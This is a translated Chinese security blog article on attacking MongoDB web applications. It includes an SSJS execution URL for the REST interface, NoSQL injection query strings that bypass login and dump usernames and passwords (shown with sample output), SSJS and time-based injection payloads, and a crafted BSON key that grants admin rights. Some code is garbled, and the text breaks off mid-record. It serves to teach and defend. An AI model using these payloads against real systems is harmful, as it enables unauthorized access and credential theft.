提交需求
*
*

*
*
*
立即提交
点击”立即提交”,表明我理解并同意 《美创科技隐私条款》

logo

    产品与服务
    解决方案
    技术支持
    合作发展
    关于美创

    申请试用
      花十分钟,看懂MongoDB攻防实战
      发布时间:2017-09-25 阅读次数: 528 次

      译者说:此文译自2014年1月的HITB杂志 ,该文提到的漏洞可能早已被修复,但其分析思路至今仍具有现实意义。

      开发人员今天在越来越多地使用NoSQL数据库来应对各种应用。与SQL注入相比,NoSQL攻击方法知之甚少,不太常见。本文重点介绍针对于NoSQL数据库的攻击,通过MongoDB漏洞攻击Web应用程序。

      初识MongoDB

      在介绍MongoDB漏洞之前,我们应该先了解这个数据库。在各大知名的web项目中都有应用NoSQL数据库,其中MongoDB是时下最流行的NoSQL数据库。此外,Microsoft在其云平台Azure上提供MongoDB数据库,这说明该数据库很快将被应用于企业软件。

      简而言之,MongoDB是一个非常高性能(它的主要优点),可扩展(如果需要,可以在几个服务器上轻松扩展)、开源(可以由大公司调整)的NoSQL数据库。MongoDB拥有属于自己的请求语言,但不支持关系型SQL语言的请求。MongoDB是典型的key-value数据库,没有table概念。

      下载MongoDB安装工具包,可以看到两个可执行文件:Mongo和mongod。 Mongod是数据库的server端主程序,用于存储数据并处理请求。而Mongo是一个用C ++和JS(V8)编写的官方客户端。

      MongoDB的安装与使用

      安装过程不再赘述,我们只关注更加有趣的部分。首先,我们来看一下REST接口。 它是一个Web界面,默认端口28017,可通过浏览器远程控制其数据库。使用这个DBMS选项,我们发现了几个漏洞:两个存储型XSS,未公开的SSJS(Server Side JavaScript,比如node.js)命令执行和多个CSRF漏洞。下图演示了这个REST界面:

      我们将详细说明上述漏洞。这些字段客户端和日志有两个存储的XSS漏洞,这意味着使用HTML代码向数据库发出任何请求,这段代码将被写入到REST界面的页面的源代码中,并将在访问此页面的人的浏览器中执行。这些漏洞使以下攻击成为可能:

      1.发送带有SCRIPT和JS地址的请求。

      2.管理员在浏览器中打开Web界面,并在此浏览器中执行JS代码。

      3.通过JSONP脚本从远程服务器请求执行命令。

      4.脚本使用参数未验证的SSJS代码执行命令。

      5.结果发送到我们的远程主机,写入日志。

      至于参数未验证的ssjs远程代码执行,我们已经写了一个模板,可以根据需要进行修改。

      http://vuln-host:28017/admin/$cmd/?filter_eval=function(){re- turn db.version() }&limit=1

      $ cmd在这个例子中是一个可以自定义的空函数,大家知道了吗?:)

      玩转MongoDB驱动

      假设有一个搭建好的Apache+PHP+MongoDB的web服务器和一个有漏洞的PHP脚本。

      这个脚本的主要片段如下:

      $q = array("name" => $_GET`'login'`, "password" => $_ GET`'password'`);

      $cursor = $collection->findOne($q);

      当数据被接收时,该脚本向MongoDB数据库发出请求。如果输入的用户密码正确,那么它会接收,并输出用户的数据。看起来如下:

      echo 'Name: ' . $cursor`'name'`;

      echo 'Password: ' . $cursor`'password'`;

      假设已经发送了以下参数(True):

      ?login=admin&password=pa77w0rd

      那么对数据库的请求将如下所示:

      db.items.findOne({"name" :"admin", "password" : "pa77w0rd"})

      由于数据库包含密码为pa77w0rd的用户管理员,所以此时数据库响应为True;如果使用其他名称或密码,那么响应将不会返回(False)。

      除了语法的差异,MongoDB和其他数据库大致相同。因此,admin账户的信息需要隐藏起来,我们将输出信息中关于admin的数据筛选掉:

      db.items.find({"name" :{$ne : "admin"}})

      我想你已经有了如何欺骗这个登录验证的想法。我们从理论到实践。首先创建一个请求,这个请求将符合以下条件:密码不是1,用户是admin。

      db.items.findOne({"name" :"admin", "password" : {$ne : "1"}})

      有关上述帐户的信息作为回应:

      {

      "_id" : ObjectId("4fda5559e5afdc4e22000000"), "name" : "admin",

      "password" : "pa77w0rd"

      }

      在PHP中将如下所示:

      $q = array("name" => "admin", "password" => array("$ne" => "1"));

      只需要将密码变量声明为一个数组:

      ?login=admin&password`$ne`=1

      因此,输出admin数据(True)。 这个问题可以通过函数is_array()将输入参数转变为字符串类型来解决。

      注意正则表达式可以并且应该用在诸如findOne()和find()这样的函数中。使用的例子:

      db.items.find({name: {$regex: "^y"}})

      该请求将找到以字母y开头的用户。 假设在脚本中使用了对数据库的以下请求:

      $cursor1=$collection->find(array("login"=>$user, "pass" => $pass));

      从数据库接收到的数据将以下面的结构显示在页面上:

      echo 'id: '. $obj2`'id'` .'
      login: '. $obj2`'login'`

      .'
      pass: '. $obj2`'pass'` . '
      ';

      正则表达式可以帮助我们收集到我们想要的所有数据 ,我们所要做的仅仅是将收集到信息转换为脚本所需要的数据类型:

      ?login`$regex`=^&password`$regex`=^

      我们将收到以下回复:

      id: 1

      login: Admin

      pass: parol

      id: 4

      login: user2

      pass: godloveman

      id: 5

      login: user3

      pass: thepolice=

      此外还有另一种方法来利用该漏洞:

      ?login`$not``$type`=1&password`$not``$type`=1

      在这种情况下输出如下:

      login: Admin

      pass: parol

      id: 4

      login: user2

      pass: godloveman

      id: 5

      login: user3

      pass: thepolice

      该算法适用于find()和findOne()。

      SSJS请求注入漏洞分析

      如果MongoDB和PHP一起使用,存在一个与服务器发出的SSJS请求有关的典型漏洞。

      假设我们有一段存在漏洞的代码,它将用户数据注册到数据库中,然后在操作过程中输出某些字段的值。 类似于留言簿的功能。

      代码如下所示:

      $q = "function() { var loginn = '$login'; var passs = '$pass'; db.members.insert({id : 2, login : loginn, pass : passs});

      一个重要的条件是变量$ pass和$ login直接从数组$ _GET获取,并且不对$ _GET获取的信息进行过滤:

      $login = $_GET`'login'`;

      $pass = $_GET`'password'`;

      以下是执行此请求并从数据库输出数据的代码:

      $db->execute($q);

      $cursor1 = $collection->find(array("id" => 2)); foreach($cursor1 as $obj2){

      echo "Your login:".$obj2`'login'`;

      echo "
      Your password:".$obj2`'pass'`;

      }

      测试脚本准备好了,接下来就是练习。 发送测试数据:

      ?login=user&password=password

      接收以下数据作为回应:

      Your login: user

      Your password: password

      我们试图利用这个漏洞,从最简单的引号开始:

      ?login=user&password=';

      ,SSJS代码由于出错而未被执行。但是,如果发送以下数据,所有内容都会发生变化:

      /?login=user&password=1'; var a = '1

      接下来将代码改写,使页面能显示代码的执行结果:

      ?login=user&password=1'; var loginn = db.version(); var b='

      当执行上述代码后,JS代码变成了如下的形式:

      $q = ?function() { var loginn = user; var passs = '1';

      var loginn = db.version();

      var b='';

      db.members.insert({id : 2, log- in : loginn, pass : passs}); }?

      现在我们可以通过这个漏洞来阅读数据库其他的记录:

      /?login=user&password= '; var loginn = tojson(db.members. find()`0`); var b='2

      让我们来详细的了解一下:

      1. 已知的函数结构可以用于重写变量并执行任意代码。

      2. tojson()函数有助于从数据库中获得完整的响应。

      3. 最重要的部分是db.members.find()`0`,其中members是一个表,而find()是一个输出所有记录的函数。 结尾处的数组表示我们处理的记录数。 通过爆破结尾处数组的值,我们可以从数据库中收到记录。

      当然,代码执行后可能会没有输出,这时我们需要基于时间的注入方法,这种技术利用服务器响应延迟来接收数据。 举一个例子:

      ?login=user&password=';

      if(db.version()>"2")

      { sleep(10000); exit;}

      var loginn =1;

      var b='2

      这个请求可以让我们知道数据库版本。 如果超过2(例如2.0.4),那么我们的代码将被执行,并且服务器会以延迟响应。

      嗅探MongoDB

      众所周知,MongoDB允许创建数据库的特殊用户。 有关数据库中用户的信息存储在表db.system.users中。

      我们对上述表中用户名字段和密码字段感兴趣。 用户列包含user login,pwd - MD5 string?%login%:mongo:%password%?其中login和password包含用户的登录名,哈希值,密钥和密码。

      所有数据都是未加密传输的,并且通过劫持数据包可以获取用户名和密码的特定数据。 在MongoDB服务器上认证时,需要劫持客户端发送的随机数,登录名和密钥。 包含以下形式的MD5字符串:%nonce% + %login% + md5(%login% + ":mongo:" + %passwod%)。

      编写软件自动劫持数据并不困难,但会暴力劫持登录名和密码的后果却十分严重。

      BSON数据的漏洞分析

      现在让我们来研究一下基于BSON格式数据的漏洞。

      BSON(二进制JavaScript对象符号)是一种主要用作存储各种数据(Bool,int,string等)的计算机数据交换格式。 现假设存在一个有两条记录的表:

      > db.test.find({})

      { "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" :

      "admin", "isadmin" : true }

      { "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "noadmin", "isadmin" : false }

      还有一个参数存在注入点的数据库请求:

      >db.test.insert({ "name" : "noadmin2", "isadmin" : false})

      只需将设计好的BSON对象插入列名称即可:

      >db.test.insert({"namex16x00x08isadminx00x01x00 x00x00x00x00" : "noadmin2", "isadmin" : false})

      isadmin之前0x08指定了数据类型为布尔值,0x01将对象值设置为true,而不是默认分配。

      现在看看表中有什么:

      > db.test.find({})

      { "_id" : ObjectId("5044ebc3a91b02e9a9b065e1"), "name" : "admin", "isadmin" : true }

      { "_id" : ObjectId("5044ebc3a91b02e9a

      免费试用
      服务热线

      马上咨询

      400-811-3777

      回到顶部